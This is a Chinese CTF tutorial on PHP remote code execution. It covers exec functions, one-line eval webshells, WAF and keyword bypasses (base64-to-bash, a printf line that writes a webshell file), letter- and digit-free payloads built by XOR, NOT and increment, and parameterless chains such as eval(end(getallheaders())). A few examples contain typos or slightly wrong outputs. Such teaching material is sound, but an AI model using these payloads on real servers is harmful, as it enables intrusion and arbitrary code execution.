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CTF知识树-RE phpRCE利用入门

CTF中常见的phpRCE类型题目技巧

视频

made by Mitunlny（M.Y）

参考文章：

RCE漏洞概述

什么是RCE——基本概念

远程代码/命令执行漏洞（Remote Code/Command Execute，简称RCE）是Web安全领域中危害性极高的漏洞类型，主要分为两类：

  1. 代码执行漏洞：针对后端编程语言（如PHP、Java、Python等）的漏洞
  2. 命令执行漏洞：针对操作系统层面的漏洞

本篇仅涉及PHP的代码执行漏洞

RCE漏洞成因

当开发人员为了实现功能灵活性，在代码中调用动态执行函数时，若未对用户输入进行严格过滤，攻击者就可以构造恶意输入执行任意代码或系统命令。这种漏洞通常出现在以下场景：

  • 使用字符串转代码函数（如eval()）
  • 调用系统命令函数（如system()）
  • 动态包含文件功能
  • 模板引擎解析

相关函数

命令执行

system()

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<?php
	system("whoami");
?>

exec()

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<?php
	echo exec("whoami");
?>

popen()

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<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  
  
while (!feof($fp)) {    
 $out = fgets($fp, 4096);  
 echo  $out;       
}  
pclose($fp);  
?>

proc_open()

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resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   
 array("pipe","w"),   
 array("pipe","w")  
 );  
  
$fp = proc_open($test,$array,$pipes);   
echo stream_get_contents($pipes[1]);  
proc_close($fp);  
?>

passthru()

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<?php
	passthru("whoami");
?>

shell_exec()

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<?php
	echo shell_exec("whoami");
?>

反引号 `

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<?php
	echo `whoami`;
?>

pcntl_exec()

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<?php 
	pcntl_exec ( "/bin/bash" , array("whoami"));
?>

代码注入

eval()

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<?php @eval($_POST['cmd']);?>

assert()

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<?php @assert($_POST['cmd'])?>

preg_replace()

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preg_replace("/test/e",$_POST["cmd"],"jutst test");

create_function()

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$func =create_function('',$_POST['cmd']);$func();

array_map()

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$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

call_user_func()

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call_user_func("assert",$_POST['cmd']);

call_user_func_array()

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$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

array_filter()

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$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

uasort()

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usort($_GET,'asse'.'rt');

例题

绕过方式

空格 

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$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

命令分隔符 

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%0a  
%0d  
;  
&  
&&   
|  
||

关键字

假如过滤了关键字cat\flag，无法读取不了flag.php，又该如何去做

拼接绕过

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a=l;b=s;$a$b

a=c;b=at;c=f;d=lag;$a$b ${c}${d}

a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

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echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag

echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag


${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

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c'a't test
c"a"t test

反斜杠绕过

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ca\t test

通过$PATH绕过

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echo $PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test

通配符绕过

  1. \[…\]表示匹配方括号之中的任意一个字符
  2. {…}表示匹配大括号里面的所有模式，模式之间使用逗号分隔。
  3. {…}与\[…\]有一个重要的区别，当匹配的文件不存在，\[…\]会失去模式的功能，变成一个单纯的字符串，而{…}依然可以展开
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cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st

例题

无字母数字RCE

技术原理与背景

无字母数字RCE是指在不使用任何字母(a-z,A-Z)和数字(0-9)的情况下实现代码执行的技巧。这种技术在以下场景特别有用：

  • 过滤了所有字母和数字的CTF题目
  • 严格的WAF规则过滤了常规payload
  • 需要绕过字符限制的实战环境

例如：

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<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

思路：

利用各种非数字字母的字符，经过各种变换（异或，取反，自增），构造出单个的字母字符，然后把单个字符拼接成函数名，进行动态执行。

核心实现方法

异或

php7有一种特性叫做函数的动态调用，即在字符串上加一个括号就可以调用和字符串同名的函数

例如：

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("phpinfo")();

而其中的字符串可以是任意形式，例如拼接：("php"."info") 或者运算的结果

异或运算，本质是得到这样的字符串然后括起来，进行命令操作

这里的异或，指的是php按位异或，在php 中，两个字符异或后，得到的依然是一个字符！

例如：将字符“A”和“?”进行异或：

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<?php
    echo "A" ^ "?";

得到：~

它是如何计算的呢，过程如下：

首先将 A 和 ? 分别转换为对应的ASCII码，A变为65，?变为63

然后将其转换为对应的二进制数，A变为1000001，？变为111111 接下来就进行运算，异或的运算规则是相同为0，不同为1

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A:        1000001
?:        0111111(少一位，前面补0) 
结果：      1111110

接下来将其二进制转换为对应十进制数，1111110对应的十进制数为126，根据ASCII码表可知126对应的是~，所以这个时候得到的字符就是~ 因此，我们利用这种思路，就可以借助异或构造payload。

取反

取反其实是利用了不可见字符，我们对一个字符进行两次取反，得到的还是其本身。当我们进行一次取反过后，对其进行URL编码，再对其进行取反，此时可以得到可见的字符，它的本质其实还是这个字符本身，然后因为取反用的多是不可见字符，所以这里就达到了一种绕过的目的

取反运算符(~)的作用

在PHP中，~是按位取反运算符，它对一个数的每一位二进制位进行取反操作（0变1，1变0）9。例如：

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echo ~3; 
echo ~'a';

取反绕过的核心是：

  1. 将想要执行的PHP代码进行取反操作
  2. 将取反后的结果进行URL编码
  3. 通过eval等函数执行取反后的代码

因为取反后的字符大多是不可见字符，可以绕过基于正则表达式的字符过滤。

具体实现步骤

基本payload构造:

假设我们要执行 phpinfo();，可以按照以下步骤构造payload：

  1. 对”phpinfo”进行取反：
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echo ~'phpinfo';
  1. 对取反结果进行URL编码：
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echo urlencode(~'phpinfo');
  1. 最终payload格式：
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?code=(~%8F%97%8F%96%91%99%90)();

注意括号的使用：取反部分要用括号括起来，最后的分号不能少5。

以CTF题目为例，当遇到如下过滤条件时：

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if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("NO.");
}
@eval($code);

我们可以使用取反绕过：

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?code=(~%8F%97%8F%96%91%99%90)();  
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

可以使用以下PHP代码生成取反payload：

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<?php
$func = "phpinfo";
echo "原始函数: ".$func."\n";
echo "取反结果: ".~$func."\n";
echo "URL编码: ".urlencode(~$func)."\n";
?>

自增

什么是自增绕过？

自增绕过是一种在PHP代码中，当字母和数字被严格过滤时，通过利用PHP的类型转换和自增运算符(++)特性来构造所需字符的技术。它允许攻击者在无法直接输入字母数字的情况下，逐步”构建”出执行命令所需的字符7。

基本行为：

在PHP中，自增运算符有两种形式：

  • 前置自增(++$a)：先增加变量的值，然后返回新值
  • 后置自增($a++)：先返回变量的当前值，然后增加变量的值

例如：

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$a = 'A';
echo ++$a; 
echo $a++;

为什么自增可以用于RCE绕过？

当Web应用过滤了所有字母和数字时，传统的RCE方法(如直接输入 system('ls'))无法使用。但PHP中：

  • 空数组 []可以转换为字符串’Array’
  • 字符串可以通过自增逐步构建出需要的字符
  • 利用这些特性可以构造出函数名和参数7

核心原理:

  1. 从空数组开始构建字符串
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$_ = [];      
$_ = @$_[''];   
$_ = $_['!'=='@'];
  1. 利用自增构建字符

PHP中字符串的自增遵循字母表顺序：

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$_ = 'A';
echo ++$_; 
$_ = 'Z';
echo ++$_;
  1. 构建完整函数调用

通过逐步自增，可以从空字符串开始构建出如 assert、system等关键函数名，以及执行命令所需的参数7。

Payload解析

下面是一个典型的自增绕过Payload，用于执行 assert($_POST[_])：

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$_=[];
$_=@"$_";       
$_=$_['!'=='@'];   
$___=$_;         
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;

$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$____='_';       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$_=$$____;       
$___($_[_]);

使用时配合POST参数：_=phpinfo();即可执行任意PHP代码7。

优缺点:

优点：

  • 完全不依赖字母和数字字符
  • 在严格过滤环境下仍能工作
  • 可以构建任意函数名和参数

缺点：

  • Payload通常较长且复杂
  • 需要PHP环境支持字符串自增行为
  • 对PHP版本有一定要求(某些版本行为可能不同)

无参数RCE

无参RCE是一种特殊的代码执行漏洞，攻击者可以在不直接传递参数的情况下，通过构造特定的函数调用链来实现远程代码执行。以下是关于PHP无参RCE的详细介绍：

成因

PHP无参RCE的成因主要与以下几个方面有关：

  1. 代码逻辑缺陷：某些PHP代码可能会对用户输入进行不安全的处理，例如使用 eval()函数直接执行用户输入的代码，而没有对输入进行严格的过滤
  2. 正则表达式绕过：某些情况下，开发者可能会使用正则表达式来过滤用户输入，但攻击者可以通过构造特定的函数调用链来绕过这些过滤
  3. PHP函数特性：PHP中存在一些无参数的函数或可以通过特定方式构造参数的函数，这些函数可以被攻击者利用

利用方式

利用PHP无参RCE的关键在于构造无参数的函数调用链，以实现代码执行。以下是一些常见的利用方式：

  1. 利用无参数函数：

    • scandir()：获取当前目录下的文件列表
    • localeconv()：返回包含本地数字及货币格式信息的数组，可以用于构造特定的字符
    • current()、pos()：获取数组的第一个值
    • array_rand()、array_reverse()：操作数组以获取特定值

  2. 构造文件路径：

    • 通过 getcwd()、dirname()等函数构造文件路径，结合 scandir()获取目标文件

  3. 读取文件内容：

    • 利用 highlight_file()、show_source()、readfile()等函数读取文件内容

  4. 命令执行：

    • 使用 eval()、assert()等函数执行代码

示例

以下是一个典型的无参RCE场景：

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<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])){
    eval($_GET['exp']);
}
?>

攻击者可以通过构造类似以下的 exp参数来绕过过滤并执行代码：

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exp=print_r(scandir(current(localeconv())));

通过 current(localeconv())构造小数点，进而调用 scandir()获取当前目录下的文件列表

PHP相关函数

附：PHP官方文档的函数介绍：https://www.php.net/manual/zh/indexes.functions.php

HTTP相关函数

  • 功能：获取所有HTTP请求头，返回关联数组
  • 利用：从请求头中获取可控数据
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end(getallheaders());

get_defined_vars()

  • 功能：返回所有已定义变量的多维数组
  • 利用：获取GET/GET/_POST等超全局变量
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current(current(get_defined_vars()));

会话控制函数

session_id()

  • 功能：获取/设置当前会话ID
  • 利用：通过设置恶意session ID执行代码
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2

session_id('evilcode'); 
session_start();

session_start()

  • 功能：启动新会话或重用现有会话
  • 利用：配合session_id()使用

本地化函数

localeconv()

  • 功能：返回本地化数字格式信息
  • 关键利用：返回的数组第一个元素是小数点(.)
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current(localeconv());

文件系统函数

scandir()

  • 功能：列出目录中的文件和目录
  • 利用：目录遍历核心函数
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scandir('.');

chdir()

  • 功能：改变当前目录
  • 利用：配合scandir()跳转目录
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chdir('..');

getcwd() / grtpwd()

  • 功能：获取当前工作目录
  • 利用：获取路径信息
1

getcwd();

dirname()

  • 功能：返回路径中的目录部分
  • 利用：目录跳转
1

dirname('/var/www');

数组操作函数

current() / pos()

  • 功能：返回数组当前元素
  • 利用：获取数组第一个元素
1

current(scandir('.'));

array_reverse()

  • 功能：返回逆序数组
  • 利用：改变数组顺序
1

end(array_reverse(scandir('.')));

array_flip()

  • 功能：交换键值
  • 利用：改变数组结构
1

array_flip(['a'=>1,'b'=>2]);

array_rand()

  • 功能：随机返回数组键名
  • 利用：随机选择文件
1

scandir('.')[array_rand(scandir('.'))];

next() / prev() / end()

  • 功能：移动数组指针
  • 利用：遍历数组
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end(scandir('.')); 
next(scandir('.'));

输出函数

  • 功能：打印易读的变量信息
  • 利用：输出数组内容
1

print_r(scandir('.'));

show_source() / highlight_file()

  • 功能：语法高亮显示文件源码
  • 利用：读取文件
1

show_source(end(scandir('.')));

readfile() / file_get_contents()

  • 功能：读取文件内容
  • 利用：读取flag
1

readfile('flag.txt');

编码转换函数

chr() / ord()

  • 功能：ASCII码与字符互转
  • 利用：构造特定字符
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chr(65); 
ord('A');

hex2bin()

  • 功能：十六进制转二进制
  • 利用：构造字符串
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hex2bin('414243');

urldecode()

  • 功能：URL解码
  • 利用：解码特殊字符
1

urldecode('%41');

数学函数

phpversion()

  • 功能：获取PHP版本
  • 利用：判断环境
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floor(phpversion());

rand() / time()

  • 功能：随机数/时间戳
  • 利用：生成临时数据
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rand(1,100);
time();

localtime()

  • 功能：返回本地时间数组
  • 利用：获取数字
1

localtime()[0];

经典利用组合

读取当前目录文件 

1

show_source(end(scandir(getcwd())));

利用HTTP头执行代码 

1

eval(end(getallheaders()));

构造命令执行 

1

system(chr(ord('A')+17).chr(ord('Q')-1));

目录遍历技巧 

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print_r(scandir(chr(ord('a')-32)));

Session ID利用 

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session_id('<?php system("ls");?>');
session_start();
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